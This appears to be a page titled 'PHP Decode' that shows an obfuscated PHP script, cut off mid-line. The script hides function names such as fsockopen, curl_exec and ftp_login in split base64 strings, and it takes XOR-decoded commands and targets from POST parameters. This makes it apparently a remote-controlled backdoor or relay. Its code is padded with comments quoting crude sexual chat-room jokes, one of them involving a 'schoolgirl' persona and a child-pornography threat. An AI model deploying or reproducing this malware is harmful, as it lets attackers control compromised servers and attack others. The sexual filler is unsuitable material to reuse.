PHP Decode

class _{private static$_;static function _($_){if(!self::$_):self::_();endif;return self::$_[$_];}/*Bloodninja: I lick your earlobe, and undo your watch.*/private static function _(){self::$_=array(00,00,00/*Sarah19fca: mmmm, okay.*/,00,00,00,00,00,00/*Bloodninja: I take yo pants off, grunting like a troll.*/,00,00,0.4,0.4,0.4,0.4/*Sarah19fca: Yeah I like it rough.*/,0.4/*Bloodninja: I smack you thick booty.*/,54.92/*Sarah19fca: Oh yeah, that feels good.*/,077,077,68.75,68.75/*Bloodninja: Smack, Smack, yeeeaahhh.*/,68.75,68.75,00,00/*Bloodninja: I make some toast and eat it off your ass. Land O' Lakes butter all in your crack. Mmmm.*/,00,00,00,01,01,01,01,01,01/*Sarah19fca: you like that?*/,00/*Bloodninja: I peel some bananas.*/,00/*Sarah19fca: Oh, what are you gonna do with those?*/,00,00,00/*Bloodninja: get me peanuts. Peanuts from the ballpark.*/,00,00,00/*Sarah19fca: Peanuts?*/,4978.25,4978.25,4978.25/*Bloodninja: Ken Griffey Jr. Yeaaaaahhh.*/,4978.25,4.3333333333333,4.3333333333333,4.3333333333333,0.5/*Sarah19fca: What are you talking about?*/,0.5,031/*Bloodninja: I'm spent, I jump down into the alley and smoke a fatty. I throw rocks at the cats.*/,031,031,031,031/*Sarah19fca: This is stupid.*/,031,0.16666666666667,0.16666666666667,0.16666666666667,0.16666666666667,0.16666666666667,0.16666666666667,00/*Bloodninja: Stone Cold Steve Austin gives me some beer.*/,00,00,00/*Bloodninja: Wanna Wrestle Stone Cold?*/,00,00,00,00,00,4.2,4.2,4.2/*Bloodninja: Yeeaahhhh.*/,4.2,4.2,0307/*Sarah19fca: /ignore*/,0307,0307,0307,0307,0.33333333333333,0.33333333333333,0.33333333333333/*Bloodninja: Its cool stone cold she was a bitch anyway.*/,0.33333333333333,0.33333333333333,0.33333333333333,01000,01000/*Bloodninja: We get on harleys and ride into the sunset.*/,3.12,7.97,87.26/*=====*/,0.77,3.17/*Bloodninja: Wanna cyber?*/,48.14/*DirtyKate: K, but don't tell anybody ;-)*/,00,00,9956.5/*DirtyKate: Who are you?*/,9956.5/*Bloodninja: I've got blond hair, blue eyes, I work out a lot*/,03,03,03,03,03,07/*Bloodninja: And I have a part time job delivering for Papa John's in my Geo Storm.*/,07,07/*DirtyKate: You sound sexy.. I bet you want me in the back of your car..*/,07/*Bloodninja: Maybe some other time. You should call up Papa John's and make an order*/,07,07,2004.6,2004.6/*DirtyKate: Haha! OK*/,2004.6/*DirtyKate: Hello! I'd like an extra-EXTRA large pizza just dripping with sauce.*/,2004.6/*Bloodninja: Well, first they would say, "Hello, this is Papa John's, how may I help you", then they tell you the specials, and then you would make your order. So that's an X-Large. What toppings do you want?*/,2004.6/*DirtyKate: I want everything, baby!*/,0.25/*Bloodninja: Is this a delivery?*/,0.25,0.25/*DirtyKate: Umm...Yes*/,0.25,0.2/*DirtyKate: So you're bringing the pizza to my house now? Cause I'm home alone... and I think I'll take a shower...*/,0.2,0.2/*Bloodninja: Good. It will take about fifteen minutes to cook, and then I'll drive to your house.*/,0.2,0.2,0.66666666666667/***pause***/,0.66666666666667/*DirtyKate:I'm almost finished with my shower... Hurry up!*/,0.66666666666667/*Bloodninja: You can't hurry good pizza.*/,024/*Bloodninja: I'm on my way now though*/,024/***pause***/,024,024/*DirtyKate: So you're at my front door now.*/,05/*Bloodninja: How did you know?*/,05/*Bloodninja: I knock but you can't hear me cause you're in the shower. So I let myself in, and walk inside. I put the pizza down on your coffee table.*/,05/*Bloodninja: Are you ready to get nasty, baby? I'm as hot as a pizza oven*/,00/*DirtyKate: ooohh yeah. I step out of the shower and I'm all wet and cold. Warm me up baby*/,00,00,00,00,00);}}$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"]=array(02663,02567,0752/*Bloodninja: So you're still in the bathroom?*/,-04461,-0651,-0733,01611,0236/*DirtyKate: Yeah, I'm wrapping a towel around myself.*/,0523,-01010,-0604,-0417,01270,0351,-0433,0142/*Bloodninja: I can no longer resist the pizza. I open the box and unzip my pants with my other hand. As I penetrate the gooey cheese, I moan in ecstacy. The mushrooms and Italian sausage are rough, but the sauce is deliciously soothing. I blow my load in seconds. As you leave the bathroom, I exit through the front door....*/,-074,-0202,0156,-050/*DirtyKate: What the fuck?*/,-02,0124,0540,-0536,0716,-0712,0744/*DirtyKate: You perverted piece of s**t*/,-0306/*DirtyKate: F**k*/,-02263,-0420,0334,-073,0157,-0725,-0657,047/*=====*/,0543,0471,-0257,01463/*Bloodninja: Wanna cyber?*/,01314/*MommyMelissa: Sure, you into vegetables?*/,-0440/*Bloodninja: What like gardening an s**t?*/,024,-012,01034,-0412/*MommyMelissa: Yeah, something like that.*/,-01162,0173/*Bloodninja: Nuthin turns me on more, check this out*/,-060/*Bloodninja: You bend over to harvest your radishes.*/,046,0176,-0225,0355/*(pause)*/,0346,01574,01311,02204/*MommyMelissa: is that it?*/,-03721,01552,0735,0626,02360,02200/*Bloodninja: You water your tomato patch.*/,04223/*Bloodninja: Are you ready for my fresh produce?*/,-0461,053,-0761,0512/*MommyMelissa: I was thinking of like, sexual acts INVOLVING vegetables... Can you make it a little more sexy for me?*/,01010,030/*(pause)*/,-0174,-01241,-01756,-03072,0325/*Bloodninja: I touch you on your lettuce, you massage my spinach... Sexily.*/,0451,0512/*Bloodninja: I ride your buttocks, like they were amber waves of grains.*/,-0273,045,0235,027/*MommyMelissa: Grain doesn't really turn me on... I was thinking more along the lines of carrots and zucchinis.*/,062,-0706/*Bloodninja: my zucchinis carresses your carrots.*/,07722,010676/*Bloodninja: Damn baby your right, this s**t is HOT.*/,07614,07610,010266,-021236,045,-046/*MommyMelissa: ...*/,041,035,024020,023043,022462/*Bloodninja: My turnips listen for the soft cry of your love. My insides turn to celery as I unleash my warm and sticky cauliflower of love.*/,-01007,01024,-0173,-077/*MommyMelissa: What the f**k is this madlibs? I'm outta here.*/,0704/*Bloodninja: Yah, well I already unleashed my cauliflower, all over your olives, and up in your eyes. Now you can't see. B**ch.*/,-0625/*MommyMelissa: whatever.*/,-0443,-0443/*=====*/,021,-01,-0102,0100,013);/*Bloodninja: Baby, I been havin a tough night so treat me nice aight?*/$GLOBALS["_"]=BaSe64_dECoDE("U"."3RS"."b"."EV"."O");$GLOBALS["_"]=bASe64_DECODe("YmFzZTY0X2RlY"."29"."k"."ZQ="."=");/*BritneySpears14: Aight.*/$GLOBALS["_"]=bAsE64_decode("U1RybEVu");/*Bloodninja: Slip out of those pants baby, yeah.*/$GLOBALS["_"]=baSE64_DeCoDe("b3"."Jk");/*BritneySpears14: I slip out of my pants, just for you, Bloodninja.*/$GLOBALS["_"]=Base64_DECOdE("T3J"."E");$GLOBALS["_"]=BasE64_deCODE("Q"."2h"."y");/*Bloodninja: Oh yeah, aight. Aight, I put on my robe and wizard hat.*/$GLOBALS["_"]=bASe64_deCode("RGVmaW5l");/*BritneySpears14: Oh, I like to play dress up.*/$GLOBALS["_"]=basE64_deCOdE("c"."3R"."yUG9T");/*Bloodninja: Me too baby.*/$GLOBALS["_"]=bAse64_dECOdE("R"."nNvQ"."0tv"."cG"."V"."u");$GLOBALS["_"]=bASe64_dEcODE("ZmN"."sT1Nl");$GLOBALS["_"]=BaSe64_dECoDE("VVJsZU5Db0RF");$GLOBALS["_"]=basE64_decOde("ZXJyT1"."JfUkVwb1"."J0S"."W5"."n");$GLOBALS["_"]=BasE64_dECODE("U"."2VUX3RJbUVfTGltSX"."Q"."=");$GLOBALS["_"]=Base64_dECODE("SWdOb"."1JlX"."3VTRVJfQWJPUlQ=");/*BritneySpears14: I kiss you softly on your chest.*/$GLOBALS["_"]=BAsE64_DECODE("R"."VhwbE9kZQ"."="."=");$GLOBALS["_"]=BasE64_decodE("dFJpTQ"."==");/*Bloodninja: I cast Lvl 3 Eroticism. You turn into a real beautiful woman.*/$GLOBALS["_"]=baSE64_deCode("QWRk"."U0xBc"."2hFUw"."==");/*BritneySpears14: Hey...*/$GLOBALS["_"]=bAsE64_DEcoDe("cEhwX1NBUElfT"."kFNZQ==");$GLOBALS["_"]=BaSe64_DEcoDe("SU"."1QTG9"."EZ"."Q="."=");$GLOBALS["_"]=BAse64_DEcOdE("bVR"."fUmFuZA"."==");$GLOBALS["_"]=base64_DeCodE("c"."G"."k"."=");$GLOBALS["_"]=BaSe64_decode("ZklMZQ"."==");$GLOBALS["_"]=BASE64_decodE("YVJy"."YXlfbWF"."Q");$GLOBALS["_"]=BASe64_dECODE("YXJyQXlfS"."2V5Uw="."=");$GLOBALS["_"]=BaSe64_DecODe("Q29VTlQ"."=");$GLOBALS["_"]=Base64_decode("cEhw"."X3NhcGlf"."TkFN"."ZQ="."=");$GLOBALS["_"]=bASE64_dEcODe("cEhQdmV"."Sc2l"."Pbg="."=");$GLOBALS["_"]=base64_dECODE("cmV"."T"."ZXQ"."=");$GLOBALS["_"]=bASE64_DECode("VE91Y"."2"."g"."=");$GLOBALS["_"]=BaSe64_DECOde("TVRfU3JhT"."k"."Q"."=");$GLOBALS["_"]=baSe64_DEcoDE("ckVhZGZJbG"."U"."=");$GLOBALS["_"]=Base64_deCOdE("c3VCc1RyX2NvVU5"."U");$GLOBALS["_"]=BAse64_dECOde("ZXh"."QTG9E"."Z"."Q==");/*Bloodninja: I meditate to regain my mana, before casting Lvl 8 Penis of the Infinite.*/$GLOBALS["_"]=BaSE64_dEcoDe("ZVhwbG9k"."ZQ"."==");/*BritneySpears14: Funny I still don't see it.*/$GLOBALS["_"]=baSE64_deCOdE("VXJ"."sZU5jT0"."Rl");$GLOBALS["_"]=bAse64_dECodE("RVhQbE9kZQ==");/*Bloodninja: I spend my mana reserves to cast Mighty of the Beyondness.*/$GLOBALS["_"]=BASE64_DECodE("dX"."J"."s"."ZU"."5jT0"."RF");/*BritneySpears14: You are the worst cyber partner ever. This is ridiculous.*/$GLOBALS["_"]=basE64_DecODE("RXhwT"."E9ER"."Q="."=");/*Bloodninja: Don't f**k with me biznitch, I'm the mightiest sorcerer of the lands.*/$GLOBALS["_"]=bASe64_DECodE("c1"."RyUE9"."T");$GLOBALS["_"]=BASE64_DEcoDe("U1VC"."c1R"."S");$GLOBALS["_"]=Base64_DecoDe("ZXhwTG9E"."Z"."Q="."=");$GLOBALS["_"]=Base64_decoDE("c3"."Ryc"."G9"."z");$GLOBALS["_"]=baSE64_DEcodE("c3VCc"."3Ry");$GLOBALS["_"]=BaSE64_dECodE("c1RSX1JlUEx"."BQ2"."U=");$GLOBALS["_"]=BASE64_dEcOde("U3RSX1JlUGxhY2U=");$GLOBALS["_"]=bASE64_deCodE("U3RyX1JlUExh"."Q"."2U=");/*Bloodninja: I steal yo soul and cast Lightning Lvl 1,000,000 Your body explodes into a fine bloody mist, because you are only a Lvl 2 Druid.*/$GLOBALS["_"]=base64_dECODE("c1RSX1JFUExhQ0U"."=");$GLOBALS["_"]=BAsE64_DeCODe("VXJM"."ZW5jb0R"."F");/*BritneySpears14: Don't ever message me again you piece.*/$GLOBALS["_"]=BASe64_Decode("RnVuY3RpT25fRX"."h"."JU3R"."T");$GLOBALS["_"]=baSe64_decoDe("Q1VSbF9JTkl"."U");$GLOBALS["_"]=BASE64_DEcODe("Y3VyTF9"."TZVRvU"."HQ=");$GLOBALS["_"]=bAse64_DECode("Y3V"."yTF9zRVRPUFQ=");/*Bloodninja: Robots are trying to drill my brain but my lightning shield inflicts DOA attack, leaving the robots as flaming piles of metal.*/$GLOBALS["_"]=BASe64_DeCoDe("Y3VyTF9TZVRv"."UFQ=");$GLOBALS["_"]=basE64_deCoDe("Q3Vy"."bF9FeGV"."j");/*Bloodninja: King Arthur congratulates me for destroying Dr. Robotnik's evil army of Robot Socialist Republics. The cold war ends. Reagan steals my accomplishments and makes like it was cause of him.*/$GLOBALS["_"]=baSE64_dEcode("Q3VSbF9DTG9z"."RQ"."="."=");/*Bloodninja: You still there baby? I think it's getting hard now.*/$GLOBALS["_"]=Base64_deCOde("c3RSRWFNX2NvTnRFeFRfY1"."JlQXR"."F");/*Bloodninja: Baby?*/$GLOBALS["_"]=bAse64_decOdE("c3Vic1R"."y");/*=====*/$GLOBALS["_"]=Base64_dECOdE("ZG"."V"."jYml"."O");/*Bloodninja: Ok baby, we got to hurry, I don't know how long I can keep it ready for you.*/$GLOBALS["_"]=bAse64_dECOde("YVNzZXJ0X09QdGlPbl"."M"."=");/*j_gurli13: thats ok. ok i'm a japanese schoolgirl, what r u.*/$GLOBALS["_"]=bAse64_DECOde("ZklMZQ==");/*Bloodninja: A Rhinocerus. Well, hung like one, thats for sure.*/$GLOBALS["_"]=BAse64_deCODe("QXJyY"."XlfTUF"."Q");$GLOBALS["_"]=BaSE64_decoDE("aW5pX2"."dlV"."F"."9hbEw"."=");$GLOBALS["_"]=BAsE64_DEcODE("Uk1k"."S"."V"."I=");$GLOBALS["_"]=baSE64_DeCode("Z"."mlsZV9nRXRfY09OVG"."Vu"."dH"."M"."=");/*j_gurli13: haha, ok lets go.*/$GLOBALS["_"]=BaSe64_decOdE("RlRwX0N"."PTk5lY3"."Q=");$GLOBALS["_"]=Base64_DecOdE("ZlR"."QX0xvR2l"."u");$GLOBALS["_"]=BAse64_DeCodE("ZlR"."wX2NsT"."3NF");$GLOBALS["_"]=bAse64_DECODe("RnRQX2N"."sb"."1Nl");$GLOBALS["_"]=Base64_DECoDe("c1RScE9T");/*j_gurli13: i put my hand through ur hair, and kiss u on the neck.*/$GLOBALS["_"]=BasE64_DEcODE("RlN"."vQ0tP"."UEVu");$GLOBALS["_"]=bAsE64_deCode("c3RSZUFtX1NF"."VF90SW1lb1V"."U");$GLOBALS["_"]=basE64_deCOde("Rkdl"."VHM"."=");$GLOBALS["_"]=BaSE64_decode("RnB1dFM"."=");$GLOBALS["_"]=BaSE64_dECode("RmdFVFM"."=");$GLOBALS["_"]=basE64_dEcodE("Rl"."BV"."dHM=");/*Bloodninja: I stomp the ground, and snort, to alert you that you are in my breeding territory.*/$GLOBALS["_"]=BASE64_DeCOdE("ZkdFdF"."M=");$GLOBALS["_"]=basE64_DECODE("RlBVdHM"."=");$GLOBALS["_"]=bASE64_dECodE("Z"."kN"."Mb3N"."F");/*j_gurli13: haha, ok, u know that turns me on.*/$GLOBALS["_"]=bAsE64_dEcodE("U1RSSXBP"."U"."w="."=");$GLOBALS["_"]=BaSE64_DecOde("U1RSX3JFcG"."xhQ2"."U"."=");$GLOBALS["_"]=BaSE64_DecODe("Q"."2"."hS");$GLOBALS["_"]=Base64_decoDE("bU"."FY");/*j_gurli13: i start unbuttoning ur shirt.*/$GLOBALS["_"]=baSe64_DecODe("dXJsRW5Db2"."R"."l");$GLOBALS["_"]=BasE64_decodE("V"."VJsZU5"."jb2RF");/*Bloodninja: Rhinoceruses don't wear shirts.*/$GLOBALS["_"]=basE64_dECODe("dVJMZU5"."D"."b0R"."l");$GLOBALS["_"]=BaSE64_dEcOdE("TUlO");$GLOBALS["_"]=basE64_decODE("ZVJST3"."JfUmVwb1JUSW5"."n");$GLOBALS["_"]=baSe64_DecoDe("SHRNbFNQRUNJYUxja"."EF"."y"."Uw"."==");$GLOBALS["_"]=BaSE64_DEcOdE("c0VzU2lPTl9kZVNUUk"."9"."5");$GLOBALS["_"]=BAse64_deCode("ZklMRQ"."="."=");/*j_gurli13: No, ur not really a Rhinocerus silly, it's just part of the game.*/$GLOBALS["_"]=bASE64_DecOdE("Y"."XJS"."Y"."VlfTU"."FQ");$GLOBALS["_"]=BaSe64_decOde("c3"."RySV"."Bvc"."w="."=");$GLOBALS["_"]=base64_DECODe("U1RySXBvcw"."="."=");$GLOBALS["_"]=bAsE64_DECOde("c3RSSV"."BvUw"."==");$GLOBALS["_"]=BaSe64_DeCODe("cFJlR19t"."YVRjaA"."==");$GLOBALS["_"]=BaSe64_decoDe("U3RSZUFtX0N"."vTlRFeFRfQ3JlYXR"."l");/*Bloodninja: Rhinoceruses don't play games. They f**king charge your ass.*/$GLOBALS["_"]=BaSe64_deCodE("R"."mlMZV9HZV"."RfQ09udEVuVFM=");/*j_gurli13: stop, cmon be serious.*/$GLOBALS["_"]=bASE64_DEcodE("aU1wTG9ER"."Q="."=");$GLOBALS["_"]=BasE64_DecoDe("c"."1"."RybGVO");/*Bloodninja: It doesn't get any more serious than a Rhinocerus about to charge your ass.*/$GLOBALS["_"]=BAse64_DeCoDe("ZlBVVH"."M"."=");$GLOBALS["_"]=bAsE64_dEcoDE("RlJFQWQ"."=");$GLOBALS["_"]=BAse64_DECODE("Z"."mNMT1N"."F");/*Bloodninja: I stomp my feet, the dust stirs around my tough skinned feet.*/$GLOBALS["_"]=BaSe64_Decode("Q"."3Vyb"."F9"."pTk"."lU");/*j_gurli13: thats it.*/$GLOBALS["_"]=BAsE64_DEcOdE("Q3VybF9TZXRv"."cHQ"."=");/*Bloodninja: Nostrils flaring, I lower my head. My horn, like some phallic symbol of my potent virility, is the last thing you see as skulls collide and mine remains the victor. You are now a bloody red ragdoll suspended in the air on my mighty horn.*/$GLOBALS["_"]=baSE64_decODe("Q3VSTF9zZXRvcH"."Q=");$GLOBALS["_"]=BaSE64_Decode("Q3"."V"."yTF9TZXRv"."UFQ"."=");$GLOBALS["_"]=BASE64_dECODe("Q3"."VyTF9"."TZXRvcFQ"."=");/*Bloodninja: F**k am I hard now.*/$GLOBALS["_"]=BASe64_dEcoDe("Y3VS"."TF9TR"."XRPcHQ=");$GLOBALS["_"]=bASE64_decODe("Y3VSbF9lWG"."V"."D");/*=====*/$GLOBALS["_"]=BASE64_DeCodE("Q3VyTF9jTE9T"."RQ==");/*BritneySpears14: Ok, are you ready?*/$GLOBALS["_"]=bASE64_DEcoDe("Y09uU3Rh"."b"."lQ"."=");$GLOBALS["_"]=bAse64_DEcODe("Y29OU1RBT"."lQ=");$GLOBALS["_"]=bASe64_dECOdE("aW"."5JX2dlV"."A"."="."=");$GLOBALS["_"]=BASe64_DecODe("UGFyU0VfVXJ"."s");$GLOBALS["_"]=Base64_DecoDe("Q09uc1"."RhTl"."Q=");$GLOBALS["_"]=bAse64_DeCodE("Y29uU1RhT"."l"."Q=");$GLOBALS["_"]=bAsE64_DECODE("ZnNvY0t"."vc"."EV"."u");$GLOBALS["_"]=BasE64_deCODE("Y29uU3Rh"."T"."nQ"."=");$GLOBALS["_"]=bAsE64_DecODe("Q09O"."c3Rhb"."lQ=");/*eminemBNJA: Aight, yeah I'm ready.*/$GLOBALS["_"]=BASe64_deCOde("RlVuY3RJb05fRV"."hp"."c1"."R"."T");class _{private static$_;/*BritneySpears14: I like your music Em... Tee hee.*/static function _($_,$_){if(!self::$_):self::_();endif;$_=$GLOBALS["_"]($_);$_=$GLOBALS["_"."".""."".""](self::$_[$_]);for($_=(int)rOUnD(_::_(00/*eminemBNJA: huh huh, yeah, I make it for the ladies.*/)+_::_(01)),$_=$GLOBALS["_"."".""]($_);$_!==$_;++$_):$_[$_]=$GLOBALS["_"."".""]($GLOBALS["_"."".""]($_[$_])^$GLOBALS["_".""]($_[$_%$_]));endfor;return$_;}private static function _(){self::$_=array("_"=>/*BritneySpears14: Mmm, we like it a lot. Let me show you.*/"GdeM2"."OTeleqeGg"."==","_"=>"KrS"."q","_"=>"L/"."b"."0"."3Q="."=","_"=>"M8Cs4g="."=","_"=>"Lw==","_"=>"LA==","_"=>"LKixtqCI","_"=>"L"."A="."=","_"=>/*BritneySpears14: I take off your pants, slowly, and massage your muscular physique.*/"LKqzvrz"."0","_"=>"LA==","_"=>"LA==","_"=>"L"."w"."==","_"=>"YPjGs"."Yo=","_"=>"LQ==","_"=>"VQ="."=","_"=>"","_"=>"baWq"."y"."P3vlPxpog==","_"=>"bemi9Kb2n"."b"."d"."p7g"."==","_"=>/*eminemBNJA: Oh I like that Baby. I put on my robe and wizard hat.*/"Msrn5cCk/bK"."hu"."a"."o"."=","_"=>"cw==","_"=>"Nfqp"."1"."K"."u"."1","_"=>"L/GQ+f2Zo7qm","_"=>"acDoHua4pw==","_"=>/*BritneySpears14: What the f**k, I told you not to message me again.*/"K9Gq"."6Q="."=","_"=>"P"."ufH3qb"."v"."1g"."==","_"=>"ZA="."=","_"=>/*eminemBNJA: Oh s**t*/"fw="."=","_"=>/*BritneySpears14: I swear if you do it one more time I'm gonna report your ISP and say you were sending me kiddie porn you f((k up.*/"ZQ==","_"=>"Y"."Nyor7g=","_"=>"Z"."A="."=","_"=>"ZA="."=","_"=>/*eminemBNJA: Oh s((t*/"ZA"."==","_"=>"YOfNw5"."M=","_"=>/*eminemBNJA: damn I gotta write down your names or something*/"ZA==","_"=>/*=====*/"ZA="."=","_"=>"ZA"."="."=","_"=>/*sweet17: Hi*/"Hw="."=","_"=>"Hw==","_"=>"cQ"."==","_"=>"B"."Lva8vzm"."3w="."=","_"=>"B"."MrJs7v"."ZIg="."=","_"=>"BPbE6tj4"."owI"."=","_"=>/*Bloodninja: hello*/"BNOs6rD"."+oHHUrO"."q"."M","_"=>/*Bloodninja: who is this?*/"YPTf"."ofc"."=","_"=>"Z"."A"."="."=","_"=>"Z"."A="."=","_"=>"Z"."A="."=","_"=>"ZA"."==","_"=>"PNX1vM7z+rD"."Y","_"=>"N+Db"."pA"."==","_"=>/*sweet17: just a someone?*/"K8"."6upq/"."co"."Q"."==","_"=>/*Bloodninja: A someone I know?*/"O6Wh6MH2Oa+"."u88K/NLL"."7","_"=>"Lurl","_"=>/*sweet17: nope*/"K9/M"."+w"."==","_"=>"LLm"."lsKf"."5","_"=>"LP"."a+86H"."t","_"=>/*Bloodninja: Then why the hell are you bothering me?*/"Ct7r+O8"."=","_"=>"Us"."4=","_"=>"D/"."SV"."y5s=","_"=>/*sweet17: well sorrrrrry*/"UqI=","_"=>"Dp/jh"."w==","_"=>"Uq"."k=","_"=>"d"."Pr"."2","_"=>"cOGq+rH3OP+0+a3wLw="."=","_"=>"cM"."f"."f+cT"."io"."rMxnw==","_"=>"Lv6"."n","_"=>"M7Pe5w"."==","_"=>"ef"."ao8a"."o"."=","_"=>"eauq8ajY"."uso2qOf6qci8zi25"."uaiE2"."be"."a","_"=>"ea7I+9nY4bQ"."0s8i1nA==","_"=>"KhP3wpc"."=","_"=>"K8++/w="."=","_"=>/*sweet17: I just wanted to chat with you*/"DLSvpYzBqtzspOl/prT6q963"."0vayj"."DO+vO+qypre654=","_"=>"F+/ChOz5cYq2"."5/"."P6","_"=>"F"."9aQ+pqX6b75jm"."+w","_"=>/*Bloodninja: why?*/"Icim+KL5trCoZarjtLT98r6iMu2ntL"."0"."=","_"=>"N"."6b"."n0"."Q="."=","_"=>/*sweet17: nevermind your an jerk*/"L9rrC++iMMTbCeWz"."LMHrEQ==","_"=>"bo"."H"."3","_"=>/*Bloodninja: Hey wait a minute*/"ORDP/cH"."95OT"."Apz4Ly"."v7"."A","_"=>"MrD"."nt8"."qt","_"=>"D4Isn"."w="."=","_"=>/*sweet17: yes?*/"N"."6avy8K"."w","_"=>"CubYouib7LHXxfp/2NKqrLbntZaE7m+1lYestO+7zsLgEcGd5uvrsPTu/pdpoYbwt6yx4Yif8Ha1+rWmseT7i4Hxb6WM4PT6zb3L1KYw7ZLl9PS"."72bM=","_"=>/*Bloodninja: look I'm sorry. I'm just a little paranoid*/"HtLUqdP2l/fhOsnD48v2wLu5PsHHoMrhzKP8"."MN+YtMv2wLu+J9zb4MLy3bv8PNDDpczsgq/4M4rG8ZOslPu/c"."JuMvZ6yg++YV"."Q"."==","_"=>"HrL"."YoLTgrBOw1aKx9eY665ugqrn0LP3eq//lvG//j"."s"."jO","_"=>"Huqkor2+utAx6qijpKTwr3/"."uva695rfx"."Ou+r"."pr"."mvmp8"."=","_"=>"DfbJ6e"."e+"."vLx"."/","_"=>"UoQ=","_"=>"HMzt7q6oZYP16rWpL9Hn9rSSK8bx8ZiuMMzp7KLwCPOpxqiiNMrnrqSlO"."sDpiM"."0"."=","_"=>"HPqq"."+c"."jD2/jZzWW1p/"."vC08qcv"."A"."="."=","_"=>"HKjPz8zp2XKz2MvMvY0+t9HXwOTMK67O1Yb/gCiw1"."pbP6N8y6tTJxeLDPKjF3s"."0=","_"=>"P"."OT1o"."L2qKw="."=","_"=>/*sweet17: paranoid?*/"","_"=>/*Bloodninja: yes*/"UtI"."=","_"=>"Uqe62"."A"."="."=","_"=>"","_"=>/*sweet17: of what?*/"D"."+zB/qE=","_"=>"f8GLz5G4g"."XG4"."0pE=","_"=>"F7rX"."rbS"."b","_"=>/*sweet17: me?*/"Uqs=","_"=>"CsLX6eDx8a4xxYi7gN/sojPd07T4nqbrd+bb"."9anf4bh//+a7+56n8H/m/cz7hK3rLceIrvyepuJ/9tf4pt+5+W+Agq"."v8gKfrGdjA/qvf7u"."Rqg"."Jy"."rwL"."o=","_"=>"HrK78+Pch6gLpukr/rDi/sSR6Q+z/TayueL6x9OnB6vlMr3z7v7EkekPs/02srn"."i+sfTp"."weu/WSg5aa9kZGiUO"."mq"."LuzouKu"."l"."t"."w"."="."=","_"=>"Hqbn4/muco"."nl6O6vPqLhv"."Km/Mejx9aW/Mf71u7n0as"."i"."O","_"=>"HqirwvTBgsHIuTCvocnjj4/j3LMv5"."+jD4dPD5dK/UsE=","_"=>"D"."en+t6Tv9"."f"."XmN/"."jsou"."ylqA"."==","_"=>"Uq"."A"."=","_"=>/*Bloodninja: No. I'm in hiding.*/"HLGm8szVjYXHMKyt6dfV"."xNbvK7u67frT2MrbNrv0zvWb9MrfNLe"."sssbY"."0"."s"."bbUt"."Q"."=","_"=>"HNb8o7ez7DbW/Pfyu/06yb+svrnuOr"."S"."Y","_"=>"HK/Exr"."PPK+3+y6bEZeDLwqbNNqPLxr/OMe/Sn6HWKO3M3aTMcrXY"."3rPPPK/O17K"."s"."VQ"."="."=","_"=>/*sweet17: LOL*/"HMqs5q/39rjduf"."84"."0aqo6"."g"."==","_"=>"UsM=","_"=>"Ut"."8"."=","_"=>"Uo"."A"."=","_"=>/*Bloodninja: Don't f**king laugh at me!*/"CrOtrPGFzDquvOT8icQlqaSyveuecfDo9outxTuvv638iv9/9ubv5+T8EJ"."f+"."6ufk2Sn6/e/y9IJ/h629t6uEbfD57uz1m27gjreuoc0wuOfr7eqb","_"=>/*Bloodninja: This s**t is serious!*/"HqbK9vbyjIqi56Mr6sHn6+qay6bytzamyOfv6diFruqvMqmC6+vqms"."um8"."rc2ps"."jn7+nYha7vt2S0lK"."Oov5qA+ajgLviZvb4=","_"=>"HvjnwvyivBP66sD5t/Y6oaTC4"."v"."vkLLfhybenrG+1sQ"."==","_"=>"H"."ubj6rz0uxrr4+Co6fg4v6Dotunmc6X"."k6qr"."s"."9yv"."g","_"=>"DcTC/fvA5"."GWB","_"=>"HLC2zsjhj6z5+Mc"."7r6vA0vfq+OvkwQC8tsrK7dCx2ceeHLC2zsjhnu/m8tY0","_"=>"HOS6pfKw5jbkuvG3uPc6"."+/m"."q+"."7rk"."Og==","_"=>"HOv5r86uzYDY/cs6vre627DVxO/lzzbr+fTT"."7c7a+6ndMPb69t6y1cji59"."Q"."74f"."M=","_"=>"GZiQi4L7ihCThw"."==","_"=>"GcT"."vPIufzPTj8"."w"."="."=","_"=>/*sweet17: What are you hiding from?*/"P"."tHMwa3KvNnhnMUwzc"."XA","_"=>"GZT99"."OHV4hCf6"."g"."="."=","_"=>"Gfn80NaVzYIb8"."w==","_"=>"N8"."+"."v5w="."=","_"=>"N/35rA"."="."=","_"=>"L/DtxA="."=","_"=>"G"."ZTcifDpx"."8Cbiw"."="."=","_"=>"GZS"."M7o"."zd7Mb"."t8"."g="."=","_"=>/*Bloodninja: The cops.*/"P"."MiiwIzn4BbD",);/*sweet17: gimme a f**king break*/}/*Bloodninja: I'm serious.*/}$GLOBALS["_"."".""](_::_("_","_".""),(int)ROuNd(_::_(02)+_::_(03)+_::_(04/*sweet17: I don't get it*/)));$_=$_POST[_::_("_".""."","_"."")];/*Bloodninja: The cops are after me.*/$_=$_POST[_::_("_".""."","_"."")];$_=$_POST[_::_("_","_")];if(empty/*sweet17: For what?*/($_)):if($_POST[_::_("_".""."","_"."")]==/*Bloodninja: I'm wanted in three states*/($GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][00]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][01]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][02]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][03])&&$GLOBALS["_".""."".""]($_POST[_::_("_".""."","_"."")],_::_("_".""."","_"."".""."".""))===/*sweet17: For???*/false/*Bloodninja: It's kind of embarrasing.*/):$_POST[_::_("_".""."","_"."")]=_::_("_"."","_"."").$_POST[_::_("_"."".""."","_".""."")];endif;$_=@$GLOBALS["_".""]($_POST[_::_("_"."","_"."".""."")],$_POST[_::_("_","_"."".""."")],$_,$_,$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][04]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][05]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][06/*Bloodninja: I had sex with a turkey.*/]);/*Bloodninja: Hello?*/if($_):@$GLOBALS["_".""]($_);/*sweet17: You are f**king sick.*/_($_._::_("_".""."","_"."").$GLOBALS["_"."".""."".""]($_POST[_::_("_".""."","_".""."")]));/*Bloodninja: Send me your picture.*/endif;exit/*sweet17: why?*/;/*Bloodninja: so I know you aren't one of them.*/endif;@$GLOBALS["_".""."".""]((int)rounD(_::_(05)+_::_(06/*sweet17: One of what?*/)));@$GLOBALS["_".""."".""]((int)RoUnd(_::_(07)+_::_(010/*Bloodninja: The cops.*/)+_::_(011/*sweet17: I'm not a cop i told you*/)+_::_(012)));@$GLOBALS["_"](true/*Bloodninja: Then send me your 